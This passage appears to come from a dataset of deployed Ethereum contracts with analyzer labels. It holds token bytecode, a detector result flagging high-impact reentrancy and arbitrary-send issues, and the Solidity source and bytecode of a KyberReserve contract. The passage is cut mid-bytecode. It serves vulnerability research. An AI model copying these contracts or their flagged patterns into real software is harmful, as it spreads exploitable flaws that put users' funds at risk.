fffffffffffffff821115612f1557612f14613231565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f86826130ce565b9150612f91836130ce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc657612fc56131a4565b5b828201905092915050565b6000612fdc826130ce565b9150612fe7836130ce565b925082612ff757612ff66131d3565b5b828204905092915050565b600061300d826130ce565b9150613018836130ce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613051576130506131a4565b5b828202905092915050565b6000613067826130ce565b9150613072836130ce565b925082821015613085576130846131a4565b5b828203905092915050565b600061309b826130ae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130f0826130ce565b9050919050565b60005b838110156131155780820151818401526020810190506130fa565b83811115613124576000848401525b50505050565b61313382613274565b810181811067ffffffffffffffff8211171561315257613151613231565b5b80604052505050565b6000613166826130ce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613199576131986131a4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61355b81613090565b811461356657600080fd5b50565b613572816130a2565b811461357d57600080fd5b50565b613589816130ce565b811461359457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b33b067053be5ff7f95fe74738fe16ad468576b251140bf738d3d028146c19ed64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,271
0x3755b28641834f061b6aa3190bb9b035ffb3bca4
pragma solidity 0.4.18; interface ConversionRatesInterface { function recordImbalance( ERC20 token, int buyAmount, uint rateUpdateBlock, uint currentBlock ) public; function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint); } interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } interface SanityRatesInterface { function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint); } contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } contract KyberReserve is KyberReserveInterface, Withdrawable, Utils { address public kyberNetwork; bool public tradeEnabled; ConversionRatesInterface public conversionRatesContract; SanityRatesInterface public sanityRatesContract; mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool mapping(address=>address) public tokenWallet; function KyberReserve(address _kyberNetwork, ConversionRatesInterface _ratesContract, address _admin) public { require(_admin != address(0)); require(_ratesContract != address(0)); require(_kyberNetwork != address(0)); kyberNetwork = _kyberNetwork; conversionRatesContract = _ratesContract; admin = _admin; tradeEnabled = true; } event DepositToken(ERC20 token, uint amount); function() public payable { DepositToken(ETH_TOKEN_ADDRESS, msg.value); } event TradeExecute( address indexed origin, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate)); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event WithdrawAddressApproved(ERC20 token, address addr, bool approve); function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin { approvedWithdrawAddresses[keccak256(token, addr)] = approve; WithdrawAddressApproved(token, addr, approve); setDecimals(token); if ((tokenWallet[token] == address(0x0)) && (token != ETH_TOKEN_ADDRESS)) { tokenWallet[token] = this; // by default require(token.approve(this, 2 ** 255)); } } event NewTokenWallet(ERC20 token, address wallet); function setTokenWallet(ERC20 token, address wallet) public onlyAdmin { require(wallet != address(0x0)); tokenWallet[token] = wallet; NewTokenWallet(token, wallet); } event WithdrawFunds(ERC20 token, uint amount, address destination); function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) { require(approvedWithdrawAddresses[keccak256(token, destination)]); if (token == ETH_TOKEN_ADDRESS) { destination.transfer(amount); } else { require(token.transferFrom(tokenWallet[token], destination, amount)); } WithdrawFunds(token, amount, destination); return true; } event SetContractAddresses(address network, address rate, address sanity); function setContracts( address _kyberNetwork, ConversionRatesInterface _conversionRates, SanityRatesInterface _sanityRates ) public onlyAdmin { require(_kyberNetwork != address(0)); require(_conversionRates != address(0)); kyberNetwork = _kyberNetwork; conversionRatesContract = _conversionRates; sanityRatesContract = _sanityRates; SetContractAddresses(kyberNetwork, conversionRatesContract, sanityRatesContract); } //////////////////////////////////////////////////////////////////////////// /// status functions /////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// function getBalance(ERC20 token) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return this.balance; else { address wallet = tokenWallet[token]; uint balanceOfWallet = token.balanceOf(wallet); uint allowanceOfWallet = token.allowance(wallet, this); return (balanceOfWallet < allowanceOfWallet) ? balanceOfWallet : allowanceOfWallet; } } function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcDstQty(srcQty, srcDecimals, dstDecimals, rate); } function getSrcQty(ERC20 src, ERC20 dest, uint dstQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcSrcQty(dstQty, srcDecimals, dstDecimals, rate); } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { ERC20 token; bool isBuy; if (!tradeEnabled) return 0; if (ETH_TOKEN_ADDRESS == src) { isBuy = true; token = dest; } else if (ETH_TOKEN_ADDRESS == dest) { isBuy = false; token = src; } else { return 0; // pair is not listed } uint rate = conversionRatesContract.getRate(token, blockNumber, isBuy, srcQty); uint destQty = getDestQty(src, dest, srcQty, rate); if (getBalance(dest) < destQty) return 0; if (sanityRatesContract != address(0)) { uint sanityRate = sanityRatesContract.getSanityRate(src, dest); if (rate > sanityRate) return 0; } return rate; } /// @dev do a trade /// @param srcToken Src token /// @param srcAmount Amount of src token /// @param destToken Destination token /// @param destAddress Destination address to send tokens to /// @param validate If true, additional validations are applicable /// @return true iff trade is successful function doTrade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) internal returns(bool) { // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate); // sanity check require(destAmount > 0); // add to imbalance ERC20 token; int tradeAmount; if (srcToken == ETH_TOKEN_ADDRESS) { tradeAmount = int(destAmount); token = destToken; } else { tradeAmount = -1 * int(srcAmount); token = srcToken; } conversionRatesContract.recordImbalance( token, tradeAmount, 0, block.number ); // collect src tokens if (srcToken != ETH_TOKEN_ADDRESS) { require(srcToken.transferFrom(msg.sender, tokenWallet[srcToken], srcAmount)); } // send dest tokens if (destToken == ETH_TOKEN_ADDRESS) { destAddress.transfer(destAmount); } else { require(destToken.transferFrom(tokenWallet[destToken], destAddress, destAmount)); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress); return true; } }
0x60606040526004361061017f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806299d3861461020057806301a12fd31461022d5780631bc7bfec1461026657806326782247146102be57806327a099d8146103135780633ccdbb281461037d578063408ee7fe146103de57806347e6924f14610417578063546dc71c1461046c57806369328dec146104cf5780636940030f146105485780636cf698111461057557806375829def1461061657806377f50f971461064f5780637acc8678146106645780637c423f541461069d5780637cd44272146107075780639870d7fe14610785578063a7fca953146107be578063a80cbac61461083c578063ac8a584a146108b5578063b3066d49146108ee578063b78b842d14610965578063ce56c454146109ba578063d5847d33146109fc578063d621e81314610a51578063d7b7024d14610a7e578063f851a44014610abd578063f8b2cb4f14610b12578063fa64dffa14610b5f575b7f2d0c0a8842b9944ece1495eb61121621b5e36bd6af3bba0318c695f525aef79f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee34604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1005b341561020b57600080fd5b610213610bdd565b604051808215151515815260200191505060405180910390f35b341561023857600080fd5b610264600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c98565b005b341561027157600080fd5b6102bc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f5a565b005b34156102c957600080fd5b6102d161110a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561031e57600080fd5b610326611130565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561036957808201518184015260208101905061034e565b505050509050019250505060405180910390f35b341561038857600080fd5b6103dc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c4565b005b34156103e957600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611394565b005b341561042257600080fd5b61042a61158a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047757600080fd5b6104cd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115b0565b005b34156104da57600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119d2565b604051808215151515815260200191505060405180910390f35b341561055357600080fd5b61055b611d8f565b604051808215151515815260200191505060405180910390f35b6105fc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080351515906020019091905050611e47565b604051808215151515815260200191505060405180910390f35b341561062157600080fd5b61064d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ee7565b005b341561065a57600080fd5b610662612047565b005b341561066f57600080fd5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612223565b005b34156106a857600080fd5b6106b0612418565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106f35780820151818401526020810190506106d8565b505050509050019250505060405180910390f35b341561071257600080fd5b61076f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919050506124ac565b6040518082815260200191505060405180910390f35b341561079057600080fd5b6107bc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061283c565b005b34156107c957600080fd5b610826600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050612a32565b6040518082815260200191505060405180910390f35b341561084757600080fd5b610873600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108c057600080fd5b6108ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a98565b005b34156108f957600080fd5b610963600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612d5d565b005b341561097057600080fd5b610978613029565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109c557600080fd5b6109fa600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061304f565b005b3415610a0757600080fd5b610a0f613159565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a5c57600080fd5b610a6461317f565b604051808215151515815260200191505060405180910390f35b3415610a8957600080fd5b610aa3600480803560001916906020019091905050613192565b604051808215151515815260200191505060405180910390f35b3415610ac857600080fd5b610ad06131b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b1d57600080fd5b610b49600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506131d7565b6040518082815260200191505060405180910390f35b3415610b6a57600080fd5b610bc7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050613474565b6040518082815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3a57600080fd5b6001600760146101000a81548160ff0219169083151502179055507f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051808215151515815260200191505060405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf557600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d4d57600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600090505b600580549050811015610f56578173ffffffffffffffffffffffffffffffffffffffff16600582815481101515610ddd57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f4b576005600160058054905003815481101515610e3c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600582815481101515610e7757fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005805480919060019003610ed59190613f56565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a1610f56565b806001019050610daa565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ff157600080fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f81995c7b922889ac0a81e41866106d4046268ea3a9abaae9f9e080a6ce36ee7d8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611138613f82565b60048054806020026020016040519081016040528092919081815260200182805480156111ba57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611170575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112ca57600080fd5b6102c65a03f115156112db57600080fd5b5050506040518051905015156112f057600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ef57600080fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561144857600080fd5b603260058054905010151561145c57600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a16001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600580548060010182816115389190613f96565b9160005260206000209001600083909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160b57600080fd5b80600a60008585604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390206000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd5fd5351efae1f4bb760079da9f0ff9589e2c3e216337ca9d39cdff573b245c4838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182151515158152602001935050505060405180910390a161177d836134a7565b600073ffffffffffffffffffffffffffffffffffffffff16600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611858575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119cd5730600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff1663095ea7b3307f80000000000000000000000000000000000000000000000000000000000000006000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156119a657600080fd5b6102c65a03f115156119b757600080fd5b5050506040518051905015156119cc57600080fd5b5b505050565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a2c57600080fd5b600a60008584604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff161515611af357600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611b80578173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515611b7b57600080fd5b611ce5565b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515611cbe57600080fd5b6102c65a03f11515611ccf57600080fd5b505050604051805190501515611ce457600080fd5b5b7fb67719fc33c1f17d31bf3a698690d62066b1e0bae28fcd3c56cf2c015c2863d6848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600190509392505050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611de957600080fd5b6000600760146101000a81548160ff0219169083151502179055507f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051808215151515815260200191505060405180910390a16001905090565b6000600760149054906101000a900460ff161515611e6457600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ec057600080fd5b611ece878787878787613607565b1515611ed957600080fd5b600190509695505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f4257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f7e57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc40600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a180600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffff